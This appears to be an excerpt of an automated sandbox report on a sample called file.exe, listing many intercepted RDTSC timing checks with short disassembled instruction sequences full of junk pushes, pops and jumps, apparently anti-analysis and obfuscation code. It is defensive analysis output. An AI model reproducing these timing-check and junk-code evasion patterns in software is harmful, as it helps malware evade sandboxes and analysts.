Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E7187C second address: E71883 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E71883 second address: E71899 instructions: 0x00000000 rdtsc 0x00000002 jne 00007F20FD6D8E5Eh 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pushad 0x0000000b pushad 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E71899 second address: E718AB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F20FCE83CACh 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E71A03 second address: E71A09 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E8BD9D second address: E8BDAD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jg 00007F20FCE83CA6h 0x0000000a popad 0x0000000b push edx 0x0000000c pushad 0x0000000d popad 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E8BDAD second address: E8BDBE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop edx 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 jnc 00007F20FD6D8E56h 0x0000000f push edi 0x00000010 pop edi 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E8BDBE second address: E8BDDE instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jmp 00007F20FCE83CB6h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e popad 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E8BDDE second address: E8BDE8 instructions: 0x00000000 rdtsc 0x00000002 jns 00007F20FD6D8E56h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E8BDE8 second address: E8BE01 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007F20FCE83CB1h 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E8BE01 second address: E8BE05 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E8C7DA second address: E8C7E9 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jc 00007F20FCE83CA6h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E8C7E9 second address: E8C7EE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E8C961 second address: E8C96B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 ja 00007F20FCE83CA6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E90DA7 second address: E90DAB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E90DAB second address: E90DB1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E90FC1 second address: E90FCE instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 pushad 0x00000009 push eax 0x0000000a push edx 0x0000000b push esi 0x0000000c pop esi 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E91018 second address: E9101C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E9101C second address: E91020 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E92D0F second address: E92D27 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a jmp 00007F20FCE83CACh 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E92D27 second address: E92D2B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E92D2B second address: E92D48 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 jmp 00007F20FCE83CB7h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E92D48 second address: E92D61 instructions: 0x00000000 rdtsc 0x00000002 jnc 00007F20FD6D8E63h 0x00000008 push eax 0x00000009 push edx 0x0000000a push edx 0x0000000b pop edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E92D61 second address: E92D65 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E92903 second address: E92909 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54F02B8 second address: 54F0319 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F20FCE83CABh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a pushad 0x0000000b push esi 0x0000000c pop eax 0x0000000d pushfd 0x0000000e jmp 00007F20FCE83CB7h 0x00000013 jmp 00007F20FCE83CB3h 0x00000018 popfd 0x00000019 popad 0x0000001a mov ebp, esp 0x0000001c jmp 00007F20FCE83CB6h 0x00000021 pop ebp 0x00000022 push eax 0x00000023 push edx 0x00000024 pushad 0x00000025 push edx 0x00000026 pop eax 0x00000027 mov dh, 4Dh 0x00000029 popad 0x0000002a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54E0008 second address: 54E000C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54E000C second address: 54E0028 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F20FCE83CB8h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54E0028 second address: 54E002E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54E002E second address: 54E0064 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push esi 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c pushad 0x0000000d popad 0x0000000e pushfd 0x0000000f jmp 00007F20FCE83CB1h 0x00000014 sbb ah, FFFFFFD6h 0x00000017 jmp 00007F20FCE83CB1h 0x0000001c popfd 0x0000001d popad 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54E0064 second address: 54E006A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54E006A second address: 54E00C5 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F20FCE83CB3h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov dword ptr [esp], ebp 0x0000000e pushad 0x0000000f movzx esi, di 0x00000012 pushfd 0x00000013 jmp 00007F20FCE83CB1h 0x00000018 sbb cx, B996h 0x0000001d jmp 00007F20FCE83CB1h 0x00000022 popfd 0x00000023 popad 0x00000024 mov ebp, esp 0x00000026 push eax 0x00000027 push edx 0x00000028 jmp 00007F20FCE83CADh 0x0000002d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54E00C5 second address: 54E00E4 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F20FD6D8E61h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop ebp 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d mov si, bx 0x00000010 push edx 0x00000011 pop ecx 0x00000012 popad 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54E00E4 second address: 54E00EA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54E00EA second address: 54E00EE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5510E5B second address: 5510E5F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5510E5F second address: 5510E63 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5510E63 second address: 5510E69 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5510E69 second address: 5510E6F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54B011A second address: 54B011E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54B011E second address: 54B013B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F20FD6D8E69h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54B013B second address: 54B01A8 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F20FCE83CB1h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a jmp 00007F20FCE83CAEh 0x0000000f push eax 0x00000010 jmp 00007F20FCE83CABh 0x00000015 xchg eax, ebp 0x00000016 jmp 00007F20FCE83CB6h 0x0000001b mov ebp, esp 0x0000001d pushad 0x0000001e mov eax, 56C5B9FDh 0x00000023 jmp 00007F20FCE83CAAh 0x00000028 popad 0x00000029 push dword ptr [ebp+04h] 0x0000002c pushad 0x0000002d mov bx, ax 0x00000030 mov dl, ch 0x00000032 popad 0x00000033 push dword ptr [ebp+0Ch] 0x00000036 push eax 0x00000037 push edx 0x00000038 push eax 0x00000039 push edx 0x0000003a pushad 0x0000003b popad 0x0000003c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54B01A8 second address: 54B01AC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54B01AC second address: 54B01B2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54B01FD second address: 54B0201 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54B0201 second address: 54B0207 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54D0CB9 second address: 54D0CD2 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F20FD6D8E65h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54D0CD2 second address: 54D0CF0 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F20FCE83CB1h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d pushad 0x0000000e popad 0x0000000f push edx 0x00000010 pop esi 0x00000011 popad 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54D0CF0 second address: 54D0CF6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54D08A1 second address: 54D08BE instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F20FCE83CB9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54D08BE second address: 54D08C4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54D08C4 second address: 54D08C8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54D073D second address: 54D076B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushfd 0x00000005 jmp 00007F20FD6D8E61h 0x0000000a xor ax, 6746h 0x0000000f jmp 00007F20FD6D8E61h 0x00000014 popfd 0x00000015 popad 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54D076B second address: 54D0770 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54D0770 second address: 54D07A4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 call 00007F20FD6D8E5Dh 0x00000009 pop ecx 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d mov ebp, esp 0x0000000f push eax 0x00000010 push edx 0x00000011 push eax 0x00000012 push edx 0x00000013 jmp 00007F20FD6D8E69h 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54D07A4 second address: 54D07B9 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F20FCE83CB1h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54D07B9 second address: 54D0817 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F20FD6D8E61h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop ebp 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d pushfd 0x0000000e jmp 00007F20FD6D8E63h 0x00000013 sub ax, 0DEEh 0x00000018 jmp 00007F20FD6D8E69h 0x0000001d popfd 0x0000001e call 00007F20FD6D8E60h 0x00000023 pop eax 0x00000024 popad 0x00000025 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54D0817 second address: 54D0832 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F20FCE83CB7h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54D0832 second address: 54D0836 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54D04B8 second address: 54D0509 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F20FCE83CB6h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a pushad 0x0000000b pushfd 0x0000000c jmp 00007F20FCE83CB1h 0x00000011 xor eax, 40885146h 0x00000017 jmp 00007F20FCE83CB1h 0x0000001c popfd 0x0000001d mov bx, ax 0x00000020 popad 0x00000021 xchg eax, ebp 0x00000022 push eax 0x00000023 push edx 0x00000024 push eax 0x00000025 push edx 0x00000026 pushad 0x00000027 popad 0x00000028 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54D0509 second address: 54D050D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54D050D second address: 54D0513 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54D0513 second address: 54D0519 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54D0519 second address: 54D051D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54D051D second address: 54D0521 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54E0463 second address: 54E048A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 mov ax, 0BF7h 0x00000009 popad 0x0000000a mov dword ptr [esp], ebp 0x0000000d pushad 0x0000000e push eax 0x0000000f push edx 0x00000010 call 00007F20FCE83CB6h 0x00000015 pop ecx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54E048A second address: 54E049C instructions: 0x00000000 rdtsc 0x00000002 mov edi, 4163CD56h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 popad 0x0000000a mov ebp, esp 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54E049C second address: 54E04A0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54E04A0 second address: 54E04B5 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F20FD6D8E61h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54F0604 second address: 54F0617 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F20FCE83CAFh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54F0617 second address: 54F061D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54F061D second address: 54F0621 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54F0621 second address: 54F0625 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54F0625 second address: 54F0652 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov ebp, esp 0x0000000a jmp 00007F20FCE83CB7h 0x0000000f mov eax, dword ptr [ebp+08h] 0x00000012 push eax 0x00000013 push edx 0x00000014 pushad 0x00000015 push edx 0x00000016 pop eax 0x00000017 mov ax, dx 0x0000001a popad 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54F0652 second address: 54F0676 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov edx, ecx 0x00000005 mov cx, E331h 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c and dword ptr [eax], 00000000h 0x0000000f push eax 0x00000010 push edx 0x00000011 jmp 00007F20FD6D8E63h 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54F0676 second address: 54F067C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54D0601 second address: 54D0605 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54D0605 second address: 54D060B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54D060B second address: 54D0641 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F20FD6D8E69h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d call 00007F20FD6D8E63h 0x00000012 pop esi 0x00000013 popad 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54D0641 second address: 54D0674 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 call 00007F20FCE83CABh 0x00000008 pop eax 0x00000009 mov dx, 612Ch 0x0000000d popad 0x0000000e pop edx 0x0000000f pop eax 0x00000010 push eax 0x00000011 push eax 0x00000012 push edx 0x00000013 pushad 0x00000014 mov bx, 9FE2h 0x00000018 call 00007F20FCE83CB3h 0x0000001d pop esi 0x0000001e popad 0x0000001f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54D0674 second address: 54D068D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F20FD6D8E65h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54F018A second address: 54F018E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54F018E second address: 54F01AB instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F20FD6D8E69h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54F01AB second address: 54F01E0 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F20FCE83CB1h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a jmp 00007F20FCE83CAEh 0x0000000f push eax 0x00000010 push eax 0x00000011 push edx 0x00000012 jmp 00007F20FCE83CAEh 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54F01E0 second address: 54F0241 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F20FD6D8E61h 0x00000008 push ecx 0x00000009 pop edx 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d xchg eax, ebp 0x0000000e pushad 0x0000000f pushad 0x00000010 mov cl, 48h 0x00000012 pushfd 0x00000013 jmp 00007F20FD6D8E5Bh 0x00000018 sub cx, E01Eh 0x0000001d jmp 00007F20FD6D8E69h 0x00000022 popfd 0x00000023 popad 0x00000024 mov si, E5E7h 0x00000028 popad 0x00000029 mov ebp, esp 0x0000002b pushad 0x0000002c mov di, si 0x0000002f mov esi, 60C815FBh 0x00000034 popad 0x00000035 pop ebp 0x00000036 pushad 0x00000037 push eax 0x00000038 push edx 0x00000039 push eax 0x0000003a push edx 0x0000003b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54F0241 second address: 54F0245 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54F045C second address: 54F0471 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F20FD6D8E61h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54F0471 second address: 54F0483 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov dword ptr [esp], ebp 0x0000000b pushad 0x0000000c push eax 0x0000000d push edx 0x0000000e mov di, 0C9Ch 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 551069E second address: 55106A4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 55106A4 second address: 55106A8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 55106A8 second address: 55106D8 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F20FD6D8E5Dh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b xchg eax, ebp 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 jmp 00007F20FD6D8E68h 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 55106D8 second address: 55106DC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 55106DC second address: 55106E2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 55106E2 second address: 5510762 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F20FCE83CAEh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a jmp 00007F20FCE83CABh 0x0000000f xchg eax, ebp 0x00000010 pushad 0x00000011 pushfd 0x00000012 jmp 00007F20FCE83CB4h 0x00000017 jmp 00007F20FCE83CB5h 0x0000001c popfd 0x0000001d movzx eax, di 0x00000020 popad 0x00000021 mov ebp, esp 0x00000023 jmp 00007F20FCE83CB3h 0x00000028 xchg eax, ecx 0x00000029 pushad 0x0000002a mov bx, ax 0x0000002d popad 0x0000002e push eax 0x0000002f push eax 0x00000030 push edx 0x00000031 jmp 00007F20FCE83CB3h 0x00000036 rdtsc
